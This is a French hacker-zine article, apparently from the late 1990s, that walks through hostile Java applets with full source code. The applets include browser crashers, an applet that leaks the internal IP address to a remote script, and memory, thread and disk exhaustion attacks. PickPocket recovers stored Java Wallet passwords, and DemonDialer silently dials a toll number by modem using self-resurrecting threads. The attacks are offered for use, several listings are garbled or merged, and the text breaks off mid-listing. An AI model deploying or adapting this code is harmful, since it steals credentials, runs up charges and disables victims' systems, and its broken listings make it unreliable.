Quand le web mord, by maddany Oh oui, mords moi salaud! je savais bien que tu me trompais! I. INTRODUCTION __________________ On a tendance à considérer le simple fait de surfer sur le net comme sûr, je vais vous démontrer que c'est faux, il existe de nombreuses attaques méconnues même au sein de la communauté underground. Je ne vais pas (ou pratiquement pas) aborder les attaques basées sur les scripts et les contrôles activex bien trop répandues pour que je prenne le temps de les développer. Je vais plutôt m'attarder sur les exploits java étant donné que c'est mon domaine de prédilection et que ce langage est très peu répandu à haut niveau dans l'underground, même au niveau mondial. quel homme ce maddany! ben vi faut ski faut Java est particulièrement réputé pour la sécurité de ses applets. Leur modèle de sécurité est en effet défini selon "le bac à sable" (the sandbox), ce qui veut dire que l'applet a un certain espace de liberté limité qu'elle ne peut en aucun cas dépasser. Par exemple elle n'a pas le droit d'accéder aux ressources sur la machine locale (fichiers, commandes...), elle ne peut effectuer de connections réseaux que vers le site depuis lequel vous l'avez téléchargé (codebase) et n'a le droit de communiquer qu'avec d'autres applets incluses dans la même page (AppletContext). Ce modèle très sécurisé offre assez peu de liberté de mouvement aux méchants hackers mais présente tout de même quelques défauts que nous verrons plus loin. Si vous ne disposez pas d'outils de développement java et que vous souhaitez compiler les codes source fournis dans ce dossier, vous pouvez télécharger le sdk : -de sun sur http://java.sun.com/products/jdk/ -d'ibm : http://oss.software.ibm.com/developerworks/opensource/jikes/project/ -de microsoft : http://www.microsoft.com/java/ Je rappelle que pour insérer une applet dans une page html vous utilisez le tag Ce texte apparait si le browser ne supporte pas java. Pour transmettre des paramètres à une applet utilisez la balise entre les tags et . Pour une introduction au java plus détaillée je vous renvoie à l'article que j'ai rédigé pour tua0004. Je vais présenter dans ce dossier un certain nombre d'exploits et leur code source. Je ne prétends pas faire une compilation exhaustive mais plutôt une présentation des possibilités qui s'offrent à nous. Enjoy. C'est ca vas-y petes la y toi. gnap. II. JAVA SECURITY ______________________ /* Cet article n'est pas fini, je pensais ici faire une partie sur le modèle de sécurité java * mais je ne l'ai jamais terminée. Au lieu de la supprimer, je laisse les notes que j'avais * prises pour la rédiger, vous aurez un petit overview (et au moins on a l'impression que * j'ai pas rien foutu :) * allez voir developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html * si vous voulez une version exhaustive de cette partie */ -pas de pointeurs (pas d'empiètement sur des zones de mémoire invalides) -libération automatique des ressources qui ne sont plus utilisées. Le garbage collector runne toutes les secondes, ainsi que quand il n'y a plus de mémoire libre disponible. On peut l'appeler manuellement dans un programme : System.gc(); -vérification lors de la compilation du type de mémoire requis, pour éviter les conversions illégales. -spécification des droits d'accès à la mémoire grâce aux différents modificateurs (protected, private et public). -sécurité des classes : la modificateur final appliqué aux classes interdit leur sous-classage et interdit la réécriture des méthodes. -vérification du bytecode : étape 1 on vérifie la validité du fichier sans s'intéresser au code étape 2 on vérifie les autres éléments (super classe...) étape 3 on vérifie que les arguments des méthodes sont du bon type et les opcodes étape 4 on vérifie la validité du code dans une méthode : droits d'accès à la mémoire, type etc -chargement des classes : étape 1 on vérifie que la classe n'est pas déjà chargée en mémoire étape 2 si ce n'est pas le cas on charge les données étape 3 on convertir les octets en classe (la vérification est effectuée à ce niveau) étape 4 on résout la classe si cela a été demandé étape 5 on retourne la classe nouvellement chargée -runtime checking (position dans un tableau, hiérarchie des classes) -security manager II. JAVA ATE MY BROWSER ( miam) __________________________ ***White ghost White ghost est un exploit développé par Tan Jiat Chow, Singapour (kampf@altavista.net). Il attaque l'explorer de windows par l'intermédiaire d'ie 4 avec active desktop activé. Pour l'utiliser correctement, insérer l'applet dans une nouvelle page (faites un lien qui ouvre une nouvelle fenêtre avec le paramètre target="_blank") car le bug est effectif dès que la fenêtre contenant l'applet est fermée. L'applet se charge et semble bloquée durant le processus d'initialisation, l'utilisateur ferme alors la fenêtre et voit son explorer bouffé par le bug. Les manifestations sont diverses : disparition de la souris, des carrés blancs apparaissent dans les fenêtres actives et le menu démarrer, l'écran se gèle... L'auteur ne souhaite pas diffuser le code tant que microsoft n'a pas remédié au problème, malheureusement il y a des emmerdeurs comme moi ;) Voici donc le code source reconstitué par moi et mon fidèle décompilateur : /************BEGIN WhiteGhost.java***************/ import java.awt.*; import java.applet.Applet; public class WhiteGhost extends Applet { Dimension apd; int x; public zealand() {} public void init() { apd=size(); draw(); } public void draw() { Graphics g = getGraphics(); update(g); do update(g); while(true); } public void update(Graphics g) { flick(g); } public void flick() { g.setColor(Color.white); g.fillRect(0,0,apd.width,apd.height); } public void paint() { update(g); } } /*************END WhiteGhost.java****************/ Selon l'auteur l'exploit est plus efficace si on laisse l'applet se charger pendant 5 à 10 secondes. On peut y remédier en fermant l'explorer avec ctrl-alt-suppr ou en rechargeant windows (personnellement je dois redémarrer à chaque fois). ***communicator et les firewalls Je vous ai dit plus haut que les applets ne pouvaient pas accéder aux informations du système, y compris l'ip local. Seulement le problème qui rend les applets difficiles à programmer est que chaque browser a sa propre implémentation de java. En l'occurence, communicator nous permet d'accéder sans problème à l'ip local. Bien que ça ne soit pas un bug très spectaculaire il peut être utile pour détecter les véritables ip derrière un firewall et donc de s'asseoir sur l'ip masquerading avec une simple applet (basé sur la démonstration de alcrypto.co.uk). Il suffit pour cela de poster l'ip de la machine détecté par l'applet sur un cgi, qui détecte aussi l'ip qui se connecte sur lui. Si les deux ip sont différents c'est que l'utilisateur est derrière un proxy ou un firewall. On peut comme ça arriver à mapper le réseau derrière le proxy, kewl non ? /************BEGIN communicatorIPBuster.java***************/ import java.net.*; import java.applet.Applet; import java.applet.AppletContext; public class communicatorIPBuster extends Applet { InetAddress lhost; public void init() { try { lhost = InetAddress.getLocalHost(); URL url = new URL(getParameter("url")); String target = getParameter("target"); if(target==null) target = "_blank"; getAppletContext().showDocument(new URL(url+"?"+lhost.getHostName()+"+"+lhost.getHostAddress()), target); } catch(Exception e) {} } } /*************END communicatorIPBuster.java****************/ Pour utiliser cette applet vous devez lui transmettre deux paramètres, votre url (comprenant le nom du script) et la frame dans laquelle le lien doit être ouvert. Voici à quoi le résultat doit ressembler : Au cas où vous ne sauriez pas quoi mettre dans target voici les différentes valeurs admissibles : "_self" le lien est ouvert dans la fenêtre courante "_parent" " " " " " " " parente de l'applet (comme "_self" si elle n'a pas de parent) "_top" " " " " " " frame la plus haute dans la fenêtre de l'applet "_blank" " " " " " une nouvelle fenêtre (conseillé, comme ça on dirait un simple pop-up) "nom" " " " " " la frame ayant le nom "nom", si votre page html comporte des frames bien sur ***IECrash de Fabio Ciucci Fabio est un programmeur java assez célèbre, il a fait pas mal d'applets java avec des effets spéciaux très répandues. Il a trouvé ce bug par hasard, alors qu'il bossait sur une applet. Comme son nom l'indique elle fait crasher ie 4 avec un vilain message d'erreur, très efficace. Comme d'habitude il n'a pas voulu diffuser le code avant que microsoft n'ait sorti un patch, mais comme il est protégé contre la décompilation je ne peux pas vous donner la source ici. Je m'attaquerai au code quand je connaîtrai mieux le bytecode, en attendant vous pouvez l'essayer sur http://www.anfyjava.com/iebug/ ***Classpath weaknesses Cet exploit n'étant pas prêt à l'emploi il ne s'adresse qu'aux personnes ayant un bon background en java. Il exploite un défaut (qui n'est pas considéré comme un défaut par tout le monde d'ailleurs) dans la gestion de la variable classpath. Ce problème n'est pas récent, il date de 1997 mais peut encore servir, et même si ce n'est pas le cas le principe est intéressant et permettra sûrement d'en inspirer de nouveaux. Lorsqu'une applet fait référence à une classe, la jvm cherche d'abord sur le disque local si cette classe est disponible, si ce n'est pas le cas elle est téléchargée et se voit appliquée les même restrictions que les autres applets. Le principe est alors de placer au préalable les classes hostiles dans la variable classpath, puis en y faisant une référence dans une applet celle ci pourra avoir accès au système par l'entremise des classes hostiles. Les dites classes peuvent être par exemple envoyées dans un fichier zippé, caché dans une bibliothèque de classes utiles, elles. Si l'utilisateur veut télécharger cette bibliothèques c'est qu'il compte l'utiliser, il la place donc tout seul dans sa variable classpath et nous n'avons plus qu'à faire le reste. Je sais que les versions récentes de communicator ont remédié au problème en traitant les classes chargées sur le réseau ou sur le disque avec les mêmes restrictions. Peut-être qu'en s'attaquant directement au ClassLoader... :] ***Memory flooding Le dernier type d'exploits est celui basé sur la consommation des ressources, le plus simple à réaliser mais pas forcément le moins efficace. La technique est ici de trouver les processus qui squattent le plus de mémoire possible pour obtenir les résultats les plus spectaculaires. Dans l'exemple de Joe Lindström (optimisé par moi-même en personne) suivant, chaque thread va ouvrir une nouvelle fenêtre sur www.actionman.com : /************BEGIN fl00d.java***************/ import java.applet.Applet; import java.net.URL; import java.net.MalformedURLException; public class fl00d extends Applet implements Runnable { Thread[] thmat; URL address; public void init() { int num; if(getParameter("NumberOfThreads")!=null) { try { num = Integer.parseInt(getParameter("NumberOfThreads")); } catch(NumberFormatException e) { num = 1024; } } else num = 1024; thmat = new Thread[num]; for(int i=0; i= 0) { try { holdBigNumbers.append(0x7fffffffffffffffL); } catch (OutOfMemoryError o) {} repaint(); n++; } } public void update(Graphics g) { paint(g); } public void paint(Graphics g) { offscreenGraphics.setColor(Color.white); offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50); } } /*************END Consume.java****************/ Cette applet se contente apparemment d'afficher un grand carré bleu. Vous pouvez lui transmettre le paramètre "wait" qui va indiquer au bout de combien de temps (en millisecondes) le calcul sera déclenché. Il ne se passe apparemment rien lors de l'exécution du programme mais dès qu'on quitte le browser la surcharge devient infernale et il devient pratiquement impossible d'avoir accès au système à cause des temps d'accès interminables... niquédélique ! :) ***Le cri qui tue Maintenant un petit moment nostalgie (violons siouplé), la toute première applet que j'ai faite qui s'est avérée super drôle même si à l'époque j'avais pas fait exprès :) Elle joue un son en boucle et ne fait que ça, mais le fait tellement bien que même quand on lui dit elle arrête pas (arrêtez les violons ça saoule). Etant donné que c'est la jvm du browser qui se charge de jouer le son, ce genre d'évènements est indépendant de la page en cours, ce qui fait que même si on quitte la page contenant l'applet le son continue d'être joué. Les seuls moyens d'arrêter ce son sont : 1)fermer le browser ou 2)couper le son. Cette applet marchera sur n'importe quel browser compatible Java 1.0.2 ou 1.1, comme communicator 4.0 ou ie 4.0 (putain les violons !!!). /************BEGIN AudioTrap.java***************/ import java.awt.Graphics; import java.applet.AudioClip; import java.awt.Color; import java.awt.Font; public class AudioTrap extends java.applet.Applet implements Runnable { AudioClip beep; Thread runner; public void start() { if (runner == null) { runner = new Thread(this); runner.start(); } } public void init() { String str; str = getParameter("sound"); if (str == null) str = "beep.au"; beep = getAudioClip(getCodeBase(), str); } public void run() { if (beep != null) beep.loop(); Thread thisThread = Thread.currentThread(); } } /*************END AudioTrap.java****************/ Transmettez à l'applet le paramètre "sound" représentant le nom du fichier son à jouer, qui est beep.au par défaut. ***Le silence qui tue Voilà précisément ce que l'on pourrait appeler l'inverse de l'applet précédente. Celle-ci fait un appel toutes les secondes à la méthode sun.audio.AudioDevice.device.close(), ce qui techniquement empêche les autres applets de jouer des sons (développée pour communicator 4.04 par Mark LaDue mais fonctionne aussi avec ie). Cela ne serait pas gênant si l'applet ne revenait pas à chaque fois qu'elle est fermée : une fois chargée en mémoire elle est persistante. Gimme the src plz : /************BEGIN AudioKiller.java***************/ import java.applet.*; import sun.audio.*; public class AudioKiller extends java.applet.Applet implements Runnable { Thread stubborn; public void init() { stubborn = null; } public void start() { if (stubborn == null) { stubborn = new Thread(this,"stubborn"); stubborn.setPriority(Thread.MAX_PRIORITY); stubborn.start(); } } public void stop() {} public void run() { try { while (true) { HoseAudio(); try {stubborn.sleep(1000);} catch (InterruptedException e) {} } } catch (ThreadDeath td) {System.out.println("You can't get me that easily!");} finally { System.out.println("I'm back again!"); AudioKiller aud = new AudioKiller(); Thread reborn = new Thread(aud, "stubborn"); reborn.start(); } } public void HoseAudio() { AudioDevice.device.close(); } } /*************END AudioKiller.java****************/ J'attire tout particulièrement l'attention des coders java sur la manière employée pour permettre à l'applet de persister en mémoire, en créant un nouveau thread en cas d'expiration du thread courant : try { /* evil code */ } catch (ThreadDeath td) {} finally { Thread reborn = new Thread(new AudioKiller(), "stubborn"); reborn.start(); } Pour compiler l'applet il faut que vous ayez les classes java de communicator 4.04 dans votre classpath. ***The Java Wallet Cette partie est empruntée, encore une fois, à mr LaDue. Le Java Wallet (http://java.sun.com/products/commerce/index.html) a été créé par Sun dans une optique de sécurisation des transactions de commerce électronique. Il nécessite l'installation préalable du Sun's Java plug-in (http://java.sun.com/products/plugin/). Paradoxalement, ces deux produits couplés font apparaître de nouveaux problèmes de sécurité. Pour runner les trois applets suivantes vous devez avoir installé le plug-in de sun et le Java Wallet early access 1 (vous trouverez maintenant l'ea 2 sur le site de sun, il est possible que certains bugs présentés ici soient corrigés dans cette deuxième version). ###PickPocket Il est toujours étonnant de constater que des programme dits sécurisés permettent l'enregistrement des mots de passe sur le dd. Le fait est que si un mot de passe est stocké dans le but de pouvoir être réutilisé sans être tapé à nouveau, il doit être stocké sous formé réversible. C'est le principe de mon applet joylockCracker (http://members.xoom.com/swpteam/products/joylockcracker/) et c'est aussi celui du PickPocket. Cette applet peut accéder : -au répertoire d'installation du Java Wallet -au répertoire de départ de l'utilisateur (user.home, propriété inaccessible normalement) -aux propriétés du Java Wallet (jcef.properties) -aux noms d'utilisateurs et aux passwords enregistrés correspondants Pour tester l'applet il faut que vous ayez créé un wallet enregistré en tant que wallet par défaut pour l'autologin. /************BEGIN PickPocket.java***************/ import java.awt.*; import java.io.*; import javax.commerce.base.*; import javax.commerce.util.*; public class Pickpocket extends java.applet.Applet implements Runnable { Thread controller = null; File fie = null; String wfilename; String login = null; String encpword = null; String realpword = null; TextArea console = null; public void init() { console = new TextArea("Pickpocket is a harmless demo applet.\n\n", 20, 80); console.setEditable(false); add(console); console.append("To try it you must have already set up:\n"); console.append("1. Sun's Java Plug-in 1.1;\n"); console.append("2. Sun's Java Wallet (Early Access 1 Release);\n"); console.append("3. A default (saved) user login and password in the Java Wallet.\n\n"); } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { /* This works regardless of whether or not jecf.properties contains info */ fie = JECF.getWalletHome(); console.append("\nPickpocket knows your Java Wallet Home: " + fie.toString() + "\n"); /* This depends on jecf.properties containing login information */ wfilename = JECF.getJecfProperty("jecf.walletfile"); login = JECF.getJecfProperty("jecf.user"); encpword = JECF.getJecfProperty("jecf.password"); console.append("Pickpocket knows your Java Wallet file name: " + wfilename + "\n"); console.append("Pickpocket knows your Java Wallet login name: " + login + "\n"); console.append("Pickpocket knows your \"encrypted\" password: " + encpword + "\n"); console.append("Pickpocket will now determine your password.\n"); realpword = decrypt(encpword); console.append("Pickpocket found your real password: " + realpword + "\n"); } /* This recovers the "encrypted" password */ public String decrypt(String encpw) { String refstr = new String("fB8?!~0[1*&xhg^765Aq*(7GHjgytuYU87521*&(*79(87(*98gihGIhihgghi"); if(encpw.length() == 0) { return encpw; } byte byter[]; try { BASE64Decoder base64decoder = new BASE64Decoder(); byter = base64decoder.decodeBuffer(encpw); byte refbytes[] = refstr.getBytes(); int i = Math.min(byter.length, refbytes.length); for(int j = 0; j < i; j++) byter[j] -= refbytes[j]; } catch(Exception ex) {return "";} return new String(byter); } } /*************END PickPocket.java****************/ ###BookMarker Ne disposant d'absolument rien me permettant de tester cette applet, je vais laisser LaDue vous expliquer son fonctionnement plutôt que de me risquer à une traduction hasardeuse : http://www.rstcorp.com/hostile-applets/JWApplets.html (en plus vous trouverez là bas tous les fichiers dont vous avez besoin). Elle s'adresse aux systèmes Solaris disposant de communicator 4.04 ou 4.05, elle permet d'effectuer des commandes sur le système. ###DemonDialer En voilà une applet qu'elle est cool :) Elle cible zin 9*/nt avec ie 4.0+ ou communicator 4.04 ou 4.05. Elle liste tous les ports série et parallèles disponibles sur votre machine, puis liste les propriétés des ports série. Si un port série est libre, l'applet l'ouvre et vérifie si le modem peut s'y trouver, dans ce cas elle change certaines propriétés et se met à composer des numéros. Elle utilise le système de persistance en mémoire vu précédemment. Le seul moyen d'arrêter l'applet est donc de fermer le browser. Il est possible d'utiliser l'applet pour composer le n° que l'on veut, avec les conséquences que ça implique... Pour compiler le code source vous aurez besoin de l'api de communication de sun, qui permet d'interfacer avec les ports série et parallèles (disponible sur http://maddany.cjb.net/dlarea/packages/javacomm20-win32.zip). J'ai laissé les commentaires dans le source car le code est un peu straight à mon goût :) /************BEGIN DemonDialer.java***************/ /* May 9, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ import java.awt.*; import java.io.*; import java.net.*; import java.util.*; import javax.comm.*; public class DemonDialer extends java.applet.Applet implements Runnable { Thread demon; public void init() { demon = null; System.out.println("DemonDialer is a harmless demo applet.\n"); System.out.println("To use try it you must have already set up:"); System.out.println("1. Sun's Java Plug-in 1.1;"); System.out.println("2. Sun's Java Wallet (Early Access 1 Release);\n"); } public void start() { if (demon == null) { demon = new Thread(this); demon.setPriority(Thread.MAX_PRIORITY); demon.start(); } } public void stop() {} public void run() { try { probe(); } // Catch all kinds of stuff to make sure we're not stopped catch (ThreadDeath td) {} catch (Exception except) {} catch (Error err) {} // Resurrect the hostile thread in case of ThreadDeath, Exception, // Error or completion of its mission finally { System.out.println("DemonDialer is back again."); DemonDialer demon = new DemonDialer(); Thread reborn = new Thread(demon); reborn.start(); } } // Search for a modem public void probe() { CommPortIdentifier cpid = null; SerialPort sp = null; OutputStream outer = null; InputStream inner = null; boolean maybeModem = false; boolean openedAndDialed = false; // Enumerate all of the ports for (Enumeration e = CommPortIdentifier.getPortIdentifiers(); e.hasMoreElements(); ) { cpid = (CommPortIdentifier) e.nextElement(); openedAndDialed = false; maybeModem = false; // Examine a serial port if (cpid.getPortType() == 1) { // Print some information about it System.out.println("String: " + cpid.toString()); System.out.println("Name: " + cpid.getName()); System.out.println("Port Type: " + cpid.getPortType()); System.out.println("Owner: " + cpid.getCurrentOwner()); // Watch and wait for the port to become available while (!openedAndDialed) { try { sp = (SerialPort) cpid.openPort("DemonDialer", 100); System.out.println("Opened Port " + cpid.getName()); System.out.println("New Owner: " + cpid.getCurrentOwner()); outer = sp.getOutputStream(); System.out.println("Got OutPutStream for " + cpid.getName()); inner = sp.getInputStream(); System.out.println("Got InPutStream for " + cpid.getName()); System.out.println("Serial Port Information:"); System.out.println(" Baud Rate = " + sp.getBaudrate()); // coucou!! System.out.println(" Data Bits = " + sp.getDataBits()); System.out.println(" Stop Bits = " + sp.getStopBits()); System.out.println(" Parity = " + sp.getParity()); System.out.println(" Flow Control Mode = " + sp.getFlowcontrolMode()); if (sp.isDTR()) { maybeModem = true; System.out.println(" DTR"); } if (sp.isRTS()) { maybeModem = true; System.out.println(" RTS"); } if (sp.isCTS()) { maybeModem = true; System.out.println(" CTS"); } if (sp.isDSR()) { maybeModem = true; System.out.println(" DTR"); } if (sp.isRI()) { maybeModem = true; System.out.println(" RI"); } if (sp.isCD()) { maybeModem = true; System.out.println(" CD"); } if (maybeModem) { System.out.println(cpid.getName() + " looks like a modem"); System.out.println("Dialing " + cpid.getName() + " :"); dialOut(inner, outer); } openedAndDialed = true; if (sp != null) { sp.closePort(); } } // If there were any problems, sleep for 10 seconds and try it again catch (Exception ex) { System.out.println("Exception manipulating " + cpid.getName() + " - sleeping 10 seconds before trying again..."); try { demon.sleep(10000); } catch (InterruptedException ie) {} if (sp != null) sp.closePort(); } } } } } // Exploit your modem public void dialOut(InputStream inner, OutputStream outer) throws IOException { // First command - Stop echoing modem commands outer.write(65); outer.write(84); outer.write(69); outer.write(48); outer.write(13); System.out.println("Sent ATE0 to OutPutStream"); System.out.print("Reading response from InputStream - "); int avail = inner.available(); System.out.println(avail + " bytes available:"); byte[] response = new byte[avail]; StringBuffer strbuf = new StringBuffer(); inner.read(response, 0, avail); for (int i = 0; i < avail; i++) strbuf.append((char)response[i]); System.out.println(strbuf.toString()); // Second command - turn off the modem's sound outer.write(65); outer.write(84); outer.write(77); outer.write(48); outer.write(13); System.out.println("Sent ATM0 to OutPutStream"); System.out.print("Reading response from InputStream - "); avail = inner.available(); System.out.println(avail + " bytes available:"); response = new byte[avail]; strbuf = new StringBuffer(); inner.read(response, 0, avail); for (int i = 0; i < avail; i++) strbuf.append((char)response[i]); System.out.println(strbuf.toString()); // Third command - dial the toll-free number of a pseudo-billing service // that crams arbitrary charges on folks' phone bills outer.write(65); outer.write(84); outer.write(68); outer.write(84); outer.write(32); outer.write(49); outer.write(56); outer.write(48); outer.write(48); outer.write(56); outer.write(54); outer.write(54); outer.write(56); outer.write(56); outer.write(56); outer.write(57); outer.write(13); System.out.println("Sent ATDT 18008668889 to OutPutStream"); try { System.out.println("Sleeping for 60 seconds..."); demon.sleep(60000); } catch (InterruptedException ie) {} System.out.print("Reading response from InputStream - "); avail = inner.available(); System.out.println(avail + " bytes available:"); response = new byte[avail]; strbuf = new StringBuffer(); inner.read(response, 0, avail); for (int i = 0; i < avail; i++) strbuf.append((char)response[i]); System.out.println(strbuf.toString()); // Escape to the command mode System.out.println("Escaping to the command mode..."); outer.write(43); outer.write(43); outer.write(43); outer.write(13); try { demon.sleep(2000); } catch (InterruptedException ie) {} System.out.println("Sent +++ to OutPutStream"); System.out.print("Reading response from InputStream - "); avail = inner.available(); System.out.println(avail + " bytes available:"); response = new byte[avail]; strbuf = new StringBuffer(); inner.read(response, 0, avail); for (int i = 0; i < avail; i++) strbuf.append((char)response[i]); System.out.println(strbuf.toString()); // Hang up the modem System.out.println("Hanging up..."); outer.write(65); outer.write(84); outer.write(72); outer.write(48); outer.write(13); System.out.println("Sent ATH0 to OutPutStream"); System.out.print("Reading response from InputStream - "); avail = inner.available(); System.out.println(avail + " bytes available:"); response = new byte[avail]; strbuf = new StringBuffer(); inner.read(response, 0, avail); for (int i = 0; i < avail; i++) strbuf.append((char)response[i]); System.out.println(strbuf.toString()); try { demon.sleep(5000); } catch (InterruptedException ie) {} } } /*************END DemonDialer.java****************/ ***Maman communicator y m'a mordu ! Les applets qui vont suivre ont (encore) été créées par LaDue. C'est une petite compilation d'exploits pour communicator 4.04 ou 4.05. Je tiens à vous faire remarquer qu'il y est allé comme un bourrin pour trouver les bugs mais moi j'dis y a que ça de vrai : il a décompilé les 1669 classes java qui constituent la bibliothèques de communicator 4.04 et examiné où ça pouvait clocher. Voilà ce qu'il a trouvé (pour compiler les applets suivantes il faut que vous ayez les classes de communicator dans votre classpath) : ###DiskHog Cette applet ne fait rien de moins qu'essayer de remplir votre disque dur. Le package netscapesecfile dans communicator 4.05 permet un accès illimité à votre disque dur dans un dossier censé être sécurisé (secfile, dans votre répertoire user.home). L'applet va écrire 1 mo de données toutes les 2 secondes pour ne pas révéler sa présence (un peu plus de 2s en fait, le temps d'écrire les données). Elle utilise à nouveau le système de persistance en mémoire ce qui fait que vous ne devriez normalement vous rendre compte de rien jusqu'à ce qu'il soit trop tard ou que vous fermiez le browser. /************BEGIN DiskHog.java***************/ /* April 12, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ import java.io.*; import netscape.applet.*; import netscape.secfile.*; public class DiskHog extends java.applet.Applet implements Runnable { Thread stubborn; public void init() { stubborn = null; } public void start() { if (stubborn == null) { stubborn = new Thread(this,"stubborn"); stubborn.setPriority(Thread.MAX_PRIORITY); stubborn.start(); } } public void stop() {} public void run() { try { while (true) { dump(); try {stubborn.sleep(2000);} catch (InterruptedException e) {} } } catch (ThreadDeath td) {} catch (Exception except) {} catch (Error err) {} // Resurrect the hostile thread in case of ThreadDeath, Exception, or Error finally { DiskHog hog = new DiskHog(); Thread reborn = new Thread(hog, "stubborn"); reborn.start(); } } // Dump a megabyte to a "cache" file public void dump() { SecureFileOutputStream sfos = null; byte[] byter = new byte[1048576]; for (int i = 0; i < byter.length; i++) { byter[i] = (byte) i; } try { sfos = new SecureFileOutputStream("cache", true); sfos.write(byter); } // If we can't dump a megabyte, try to dump less catch (IOException ioe) {dumpbytes();} } // Start dumping single bytes - up to 1 MB - when space is low public void dumpbytes() { try { SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true); for (int i = 0; i < 1048576 ;i++) sfos.write(i); } // We're probably out of space, so pause for 5 seconds, then go look for more catch (IOException ioe) { try {Thread.currentThread().sleep(5000);} catch (InterruptedException ie) {} } } } /*************END DiskHog.java****************/ ###Crashi-crashons communicator, lalalilala [chanson paillarde] Les deux applets qui suivent sont minuscules mais pour le moins efficaces, elles crashent instantanément communicator avec des méthodes "fantômes" trouvées dans les packages netscape Encore plus étrange elles me crashent aussi l'explorer au lieu de générer une classique ClassNotFoundException. LaDue a trouvé deux méthodes étranges dans la classe netscapemisc.ObjectHeader : public static native int GetObjectHeader(Object obj); public static native int SetObjectHeader(Object obj, int i); Ces méthodes ne sont apparemment documentées nulle part et utilisées dans aucune autre classe, il a alors décidé de les tester et un simple appel à une de ces méthodes avec un objet non-initialisé fait crasher netscape.. sobre et élégant :) HoseCom404 exploite ce bug : /************BEGIN HoseCom404.java***************/ /* HoseCom404.java by Mark D. LaDue */ /* April 5, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ import netscape.misc.*; public class HoseCom404 extends java.applet.Applet implements Runnable { Thread controller = null; Object obj = null; public void init() { } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { ObjectHeader.GetObjectHeader(obj); // ObjectHeader.SetObjectHeader(obj, 0); } } /*************END HoseCom404.java****************/ Même type d'attaque avec CrashCom405, une simple référence au constructeur netscape.softupdate.SoftwareUpdate() avec des instances nulles suffit à remplir son office :) /************BEGIN CrashCom405.java***************/ /* CrashCom405.java by Mark D. LaDue */ /* April 11, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ import netscape.softupdate.*; public class CrashCom405 extends java.applet.Applet implements Runnable { Thread controller = null; SoftwareUpdate su = null; public void init() { } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { su = new SoftwareUpdate(null, null); } } /*************END CrashCom405.java****************/ ###Unplugged Bien qu'elle ne soit pas extrêmement spectaculaire, Unplugged reste une applet nous permet d'accéder à des informations auxquelles nous n'avons normalement pas droit donc nous on est preneurs. Elle s'appuie sur du javascript pour afficher les plug-ins installés avec communicator ainsi que leur path sur le système, puis affiche le nombre d'entrées dans l'history du browser. /************BEGIN Unplugged.java***************/ /* April 15, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ import netscape.applet.*; import netscape.javascript.*; public class Unplugged extends java.applet.Applet implements Runnable{ Thread controller = null; JSObject jso = null; int numplugs = 0; String npname = null; String[] plugs = null; int histlen = 0; public void init() { jso = JSObject.getWindow(this); } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { Control.showConsole(); numplugs = (new Float((jso.eval("pcount()")).toString())).intValue(); System.out.println("\nTotal number of plugins: " + numplugs + "\n"); plugs = new String[numplugs]; for (int i = 0; i < numplugs; i++) { plugs[i] = (String) jso.eval("nextPlug()"); System.out.println("Plugin " + (i+1) + ": " + plugs[i] + "\n"); } histlen = (new Float((jso.eval("hcount()")).toString())).intValue(); System.out.println("Total number of history entries: " + histlen); } } /*************END Unplugged.java****************/ Pour que l'applet fonctionne vous devrez insérez le script ci-dessous entre les tags et du fichier contenant l'applet : ***C'était le bon vieux temps... Les applets qui vont suivre ne sont pas extrêmement intéressantes à utiliser étant donné qu'elles n'affectent que d'anciennes versions des browsers. Toutefois il est intéressant d'étudier leurs principes et les techniques d'attaques, notamment pour les coders java en herbe qui auraient l'intention de plonger du côté obscur. Je vous ai fait une petite sélection de celes qui sont, à mon avis, le plus intéressantes à étudier. ###Hotjava signature bug Ce bug date de 1997, alors que java 1.1 venait de sortir. Il n'est pas très utile étant donné qu'il ne vise que hotjava 1.0, mais il est intéressant à étudier. Il a été découvert par une équipe à l'université de Princeton (cs.princeton.edu). Ils n'ont bien évidemment pas diffusé le code de leur découverte, j'ai donc du créer le code à partir de leurs indications. Ne disposant pas de hotjava 1.0 ni de l'utilitaire de signature du jdk 1.1 je n'ai pas pu tester si l'applet marche effectivement. Je vous donne leur description de l'exploit, pour que vous puissiez tenter de l'interpréter peut-être mieux que moi : "The attack works in two stages. First, the attack applet acquires the ability to change the system's idea of who signed it. Then it gets a list of all signers known to the local system, and "tries on" the these identities one by one until it finds one that is trusted. Having done this, the applet is free of any security restrictions. -How the attacker changes its identity The attacker calls the getSigners() method of the java.lang.Class class. This returns an array of signers who have signed the class. The JDK 1.1.1 code mistakenly returns a reference to its own internal array. Since Java arrays can be modified, the attack applet can then replace any element of the array, thereby changing Java's idea of who signed it. -How the attacker finds a trusted identity to assume The method getSystemScope() of the class java.security.IdentityScope returns an IdentityScope object (call it s). Calling s.identities() gets an enumeration of all identities known to the local system. The attack applet can try each of these identities one at a time. After changing to a new identity, the applet tries a privileged operation, i.e. writing a file. If this causes a security exception, the current identity is not trusted, so the applet goes on to the next identity. If the operation succeeds, then the applet knows it has acquired trusted status, and it is free to do whatever it wants. " L'applet exploite un bug du jdk 1.1 qui permet de changer le signataire de l'applet aux yeux de la jvm. Ensuite on récupère la liste de tous les signataires connus du système et on se fait passer pour eux un par un jusqu'à ce qu'on en trouve un qui est trusté, auquel cas notre applet a un accès total à la machine. Voilà le code que j'ai recréé d'après leurs indications, je répète qu'il n'est peut-être pas fiable : /************BEGIN HotjavaHoleTester.java***************/ import 